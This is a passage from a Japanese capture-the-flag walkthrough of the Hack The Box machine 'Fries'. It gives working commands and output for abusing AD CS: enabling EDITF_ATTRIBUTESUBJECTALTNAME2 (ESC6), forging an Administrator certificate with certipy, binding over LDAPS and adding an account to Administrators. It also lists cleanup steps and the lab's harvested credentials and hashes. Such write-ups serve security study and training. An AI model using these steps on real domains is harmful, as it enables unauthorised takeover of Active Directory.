このため、通常の ESC7 SubCA issue path は dead end と判断しました。

ESC6 は CA の policy flag EDITF_ATTRIBUTESUBJECTALTNAME2 によって、証明書要求の attribute から SAN を受け入れる状態です。これはテンプレート単体の設定ではなく CA 全体の policy module 設定なので、変更後に certsvc の再起動が必要です。User テンプレート自体が EnrolleeSuppliesSubject でなくても、CA が要求 attribute の SAN を採用するようになるため、UPN を差し込む攻撃面が生まれます。

certutil -setreg で CA の EDITF_ATTRIBUTESUBJECTALTNAME2 を有効化しようとすると、管理者昇格が必要で失敗します。

ターミナルウィンドウ
certutil -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
Administrator permissions are needed to use the selected options.
CertUtil: The requested operation requires elevation.

ただし CertificateAuthority.Admin COM object から SetConfigEntry は実行できました。この COM object の呼び出し自体は PSPKI cmdlet ではありません。

ターミナルウィンドウ
$ConfigString = "DC01.fries.htb\fries-DC01-CA"
$Node = "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy"
$EDITF_ATTRIBUTESUBJECTALTNAME2 = 0x00040000
$CertAdmin = New-Object -ComObject CertificateAuthority.Admin
$Flags = $CertAdmin.GetConfigEntry($ConfigString, $Node, "EditFlags")
"{0:X}" -f $Flags
$CertAdmin.SetConfigEntry(
$ConfigString,
$Node,
"EditFlags",
($Flags -bor $EDITF_ATTRIBUTESUBJECTALTNAME2)
)
$NewFlags = $CertAdmin.GetConfigEntry($ConfigString, $Node, "EditFlags")
"{0:X}" -f $NewFlags
Restart-Service certsvc
11014E
15014E

Kerberos/証明書認証では時刻差が効くため、攻撃側の時刻も DC に合わせます。

ターミナルウィンドウ
sudo systemctl stop systemd-timesyncd
sudo ntpdate dc01.fries.htb
time stepped by 25201.097517

User テンプレートは Domain Users が enroll 可能で、Client Authentication もあります。ESC6 の CA 設定変更後、要求属性で Administrator の UPN/SID を入れます。

ここで User テンプレートを使う理由は、svc_infra が Domain Users として enroll でき、証明書に Client Authentication EKU が入るためです。Client Authentication EKU がない証明書は、AD のユーザー認証用途には使いにくくなります。一方で、テンプレートや CA が szOID_NTDS_CA_SECURITY_EXT を付与する環境では、要求者の objectSid も証明書に入るため、後段の強い証明書マッピングに影響します。

ターミナルウィンドウ
certipy-ad req \
-u 'svc_infra@fries.htb' \
-p 'm6tneOMAh5p0wQ0d' \
-dc-ip 192.168.100.1 \
-target 192.168.100.1 \
-ns 192.168.100.1 \
-ca 'fries-DC01-CA' \
-template User \
-upn administrator@fries.htb \
-sid 'S-1-5-21-858338346-3861030516-3975240472-500'
[*] Request ID is 45
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@fries.htb'
[!] Conflicting SIDs found in certificate:
[!] SAN URL: 'S-1-5-21-858338346-3861030516-3975240472-500'
[!] Security Extension: 'S-1-5-21-858338346-3861030516-3975240472-3601'
[!] Windows will use the security extension SID for authentication purposes
[*] Saving certificate and private key to 'administrator.pfx'

通常の PKINIT では失敗します。これは重要な判断点です。

ターミナルウィンドウ
certipy-ad auth \
-pfx administrator.pfx \
-dc-ip 192.168.100.1 \
-username Administrator \
-domain fries.htb
[*] Certificate identities:
[*] SAN UPN: 'administrator@fries.htb'
[*] SAN URL SID: 'S-1-5-21-858338346-3861030516-3975240472-500'
[*] Security Extension SID: 'S-1-5-21-858338346-3861030516-3975240472-3601'
[-] Object SID mismatch between certificate and user 'administrator'

svc_infra として使おうとしても UPN mismatch になります。

ターミナルウィンドウ
certipy-ad auth \
-pfx administrator.pfx \
-dc-ip 192.168.100.1 \
-username svc_infra \
-domain fries.htb
[-] Name mismatch between certificate and user 'svc_infra'

ここでの原因は、証明書に 2 種類の SID が入っていることです。

SAN UPN: administrator@fries.htb
SAN URL SID: ...-500 # Administrator
Security Extension SID: ...-3601 # svc_infra

Kerberos PKINIT では KDC が Security Extension SID を厳格に見ます。そのため、この PFX は Administrator の TGT 取得には使えません。

同じ PFX でも -ldap-shell は成功します。

ターミナルウィンドウ
certipy-ad auth \
-pfx administrator.pfx \
-dc-ip 192.168.100.1 \
-username Administrator \
-domain fries.htb \
-ldap-shell
[*] Connecting to 'ldaps://192.168.100.1:636'
[*] Authenticated to '192.168.100.1' as: 'u:FRIES\\Administrator'
Type help for list of commands
# whoami
u:FRIES\Administrator

理由は、通常の certipy-ad auth が Kerberos PKINIT で KDC に TGT を要求するのに対し、-ldap-shell は LDAPS Schannel client certificate authentication を使うためです。この環境では LDAPS 側の証明書マッピングが SAN UPN / SAN URL SID の Administrator 側に寄り、FRIES\Administrator として bind できました。TGT や NT hash が取れたわけではありませんが、LDAP bind としては Administrator なので AD オブジェクトを変更できます。

この違いは実務上も重要です。PFX は「証明書と秘密鍵の束」ですが、それを Kerberos PKINIT に使うのか、LDAPS の Schannel client certificate bind に使うのかで、評価するコンポーネントとマッピング規則が変わります。PKINIT は KDC が TGT を発行する処理なので SID 整合性に厳しく、LDAPS bind は LDAP サーバ側の証明書マッピングとして処理されます。今回は後者だけが Administrator として成立しました。

まずグループを確認します。

# get_user_groups administrator
CN=Administrators,CN=Builtin,DC=fries,DC=htb
CN=Schema Admins,CN=Users,DC=fries,DC=htb
CN=Enterprise Admins,CN=Users,DC=fries,DC=htb
CN=Domain Admins,CN=Users,DC=fries,DC=htb
CN=Group Policy Creator Owners,CN=Users,DC=fries,DC=htb
# get_user_groups gMSA_CA_prod$
CN=Remote Management Users,CN=Builtin,DC=fries,DC=htb

Administrator はユーザー名でもあるため、グループ名に使うと失敗しました。

# add_user_to_group svc_infra Administrator
LDAPObjectClassViolationResult - 65 - objectClassViolation

正しく Administrators に gMSA_CA_prod$ を追加します。gMSA_CA_prod$ はすでに Remote Management Users なので、WinRM に使いやすいです。

# add_user_to_group gMSA_CA_prod$ Administrators
Adding user: gMSA_CA_prod to group Administrators result: OK
# get_user_groups gMSA_CA_prod$
CN=Administrators,CN=Builtin,DC=fries,DC=htb
CN=Remote Management Users,CN=Builtin,DC=fries,DC=htb

既存 WinRM セッションには新しいグループ membership が反映されないため、ログインし直します。

ターミナルウィンドウ
uv run evil-winrm-py \
-i 192.168.100.1 \
-u 'gMSA_CA_prod$' \
-H 5710cd97225e920cdc6badc919fc8c51

権限を確認します。

ターミナルウィンドウ
whoami /priv
cd ../../Administrator
dir
cd Desktop
dir
type root.txt
SeDebugPrivilege Debug programs Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
Directory: C:\Users\Administrator\Desktop
root.txt
user.txt
[REDACTED]

初期認証情報は AD、SMB、SSH、WinRM では失敗しました。Gitea と pgAdmin だけに有効だったため、Web アプリ側の認証情報として扱いました。

Friesf00Ds2025!! は SMB では失敗し、SSH の svc でのみ成功しました。これは pgAdmin コンテナの default password が Ubuntu local user に再利用されていたケースです。

Docker client cert の CN を pwn.com にすると TLS は進みますが、authz-broker の policy に一致せず失敗しました。policy.json を読んで CN=root に作り直す必要があります。

MachineAccountQuota: 0 のため、任意 machine account を作って Machine template を使う方向は成立しませんでした。

通常の ESC7 SubCA issue path は詰まりました。gMSA_CA_prod$ は ManageCa を持ち、officer 追加と SubCA 有効化はできましたが、denied request の issue/resubmit は Access denied でした。CA ACL には ManageCertificates の Deny があり、ここが実運用上の阻害要因でした。

ESC6 後に administrator.pfx は発行できましたが、Kerberos PKINIT は Object SID mismatch で失敗しました。Security Extension SID が svc_infra の SID だったためです。成功したのは TGT 取得ではなく、LDAPS Schannel の LDAP bind です。

LDAP shell の add_user_to_group svc_infra Administrator は、Administrator がグループではなくユーザーに解決されて失敗しました。正しいグループ名は Administrators です。

CA 設定を戻す場合は、EDITF_ATTRIBUTESUBJECTALTNAME2 を落として certsvc を再起動します。

ターミナルウィンドウ
$ConfigString = "DC01.fries.htb\fries-DC01-CA"
$Node = "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy"
$EDITF_ATTRIBUTESUBJECTALTNAME2 = 0x00040000
$CertAdmin = New-Object -ComObject CertificateAuthority.Admin
$Flags = $CertAdmin.GetConfigEntry($ConfigString, $Node, "EditFlags")
$CertAdmin.SetConfigEntry(
$ConfigString,
$Node,
"EditFlags",
($Flags -band (-bnot $EDITF_ATTRIBUTESUBJECTALTNAME2))
)
Restart-Service certsvc

追加した group membership を戻します。

ターミナルウィンドウ
Remove-ADGroupMember -Identity "Administrators" -Members "gMSA_CA_prod$" -Confirm:$false

攻撃側の NFS mount と一時ファイルを片付けます。

ターミナルウィンドウ
sudo umount /mnt/fries
rm -f client-key.pem client.csr client-cert.pem ca.pem ca-key.pem ca.srl administrator.pfx 43.key
rm -rf certs

時刻同期を止めていた場合は戻します。

ターミナルウィンドウ
sudo systemctl start systemd-timesyncd

Ligolo の agent と proxy も終了し、作成した tun interface を消します。

ターミナルウィンドウ
sudo ip link delete ligolo
ArtifactValue
Initial Web Credentiald.cooper@fries.htb:D4LE11maan!!
PostgreSQL URLpostgresql://root:PsqLR00tpaSS11@172.18.0.3:5432/ps_db
pgAdmin Default PasswordFriesf00Ds2025!!
SSH Credentialsvc:Friesf00Ds2025!!
PWM Config Passwordrockon!
LDAP Proxy Credentialsvc_infra:m6tneOMAh5p0wQ0d
gMSA HashgMSA_CA_prod$:5710cd97225e920cdc6badc919fc8c51
CAfries-DC01-CA
Generated Certificateadministrator.pfx
Docker CA Filesca.pem, ca-key.pem
User Flag Path/root/user.txt on Ubuntu host mount
Root Flag PathC:\Users\Administrator\Desktop\root.txt

Git 履歴から削除済みファイルを復元する方法。

pgAdmin authenticated RCE と、コンテナ内から環境変数や設定ファイルを調べる基本手順。

Ligolo-ng による内部ルーティングと、NAT 越し環境での内部 IP 指定。

NFS の UID/GID ベース権限、SSSD による AD group の Linux GID 解決。

Docker daemon の mTLS、client certificate の CN、authorization plugin policy の関係。

PWM の設定ファイル形式、bcrypt hash cracking、ENC-PW: の AES 復号。

BloodHound / RustHound での ReadGMSAPassword 発見と、NetExec による gMSA NTLM hash 抽出。

AD CS の ESC7、ESC6、EDITF_ATTRIBUTESUBJECTALTNAME2、CA service restart、テンプレート enroll 権限。

KB5014754 以降の強い証明書マッピングと、Kerberos PKINIT と LDAPS Schannel client certificate authentication の違い。

Fries は、ひとつの脆弱性を見つけて終わる box ではなく、複数の管理境界をまたいで少しずつ権限と情報を積み上げる構成でした。外部 IP では Ubuntu と Windows DC のサービスが同居して見え、最初から構成を読み違えやすいです。初期認証情報も AD には通らず、Gitea と pgAdmin の Web アプリ側でだけ使えました。この時点で「認証情報は同じでも、どの認証基盤に属しているかを分けて考える」ことが重要になります。

user flag までの流れは、Web アプリからコンテナ、コンテナからホスト、ホストから内部ネットワークへ進む典型的な横展開でした。Gitea の履歴に残った .env、pgAdmin の authenticated RCE、コンテナ環境変数の password reuse、NFS の UID/GID 権限、Docker mTLS と authorization plugin というように、ひとつひとつは独立した小さなミスですが、連鎖すると Ubuntu ホストの root まで到達できます。特に Docker では、CA 秘密鍵を取っただけでは足りず、authz-broker の policy まで読んで CN=root の証明書を作る必要がありました。認証と認可が別の層にあることを見落とすと、そこで止まります。

root flag 側は AD CS の理解が中心でしたが、ここも単純な ESC7 では終わりませんでした。gMSA_CA_prod$ の ManageCa は強力に見えますが、テンプレート enroll 権限、CA ACL の Deny、request disposition、manager/officer 操作の実際の評価が絡みます。SubCA を有効化して denied request を作れても、issue/resubmit が Access denied になるため、通常の ESC7 手順は成立しません。Certipy の Vulnerabilities: ESC7 は攻撃可能性の強い指標ですが、必ずしも wiki の手順がそのまま最後まで通ることを保証しない、という良い例でした。

最終的な突破口は、ManageCa を使って CA policy の EDITF_ATTRIBUTESUBJECTALTNAME2 を有効化し、ESC6 相当の状態を作ったことです。ただし、ここでも certutil -setreg は管理者権限不足で失敗し、CertificateAuthority.Admin COM object からの SetConfigEntry は通るという差がありました。Windows の管理操作は、使う API や実行コンテキストによって要求される権限や挙動が変わることがあります。再現時は「同じ設定変更でも、どのツールで変更しているか」を記録しておくと詰まりにくいです。

一番面白い点は、administrator.pfx の扱いです。証明書は発行でき、SAN UPN と SAN URL SID には Administrator が入りますが、Security Extension SID には要求者 svc_infra の SID が入ります。そのため Kerberos PKINIT では KDC が SID mismatch として拒否します。これは失敗ではなく、強い証明書マッピングが効いていることを示す正しい結果です。一方で certipy-ad auth -ldap-shell は LDAPS Schannel client certificate authentication を使い、この環境では Administrator として LDAP bind できました。同じ PFX でも、PKINIT と LDAPS Schannel では評価するコンポーネントとマッピング規則が違う、という点がこの box の核心です。

最終段では、LDAP bind としての Administrator 権限を使って gMSA_CA_prod$ を Administrators に追加し、WinRM にログインし直す必要がありました。既存セッションには新しい group membership が反映されないため、再ログインして token を作り直すところまで含めて手順です。また、Administrator と Administrators のような名前の解決ミスでも簡単に失敗するため、LDAP shell では対象がユーザーなのかグループなのかを必ず確認した方がよいです。

全体として、Fries は「列挙の結果をどう読むか」が重要な box でした。Git 履歴、環境変数、NFS の数値 GID、Docker policy、BloodHound の edge、Certipy の CA/template 出力、SID mismatch のエラー文がそれぞれ次の判断材料になっています。長い chain ですが、各段階で得た artifact が次の段階にどう接続するかを丁寧に追えば再現できます。逆に、エラーを単なる失敗として流すと、ESC7 の Access denied や PKINIT の Object SID mismatch で方向を見失いやすい box でした。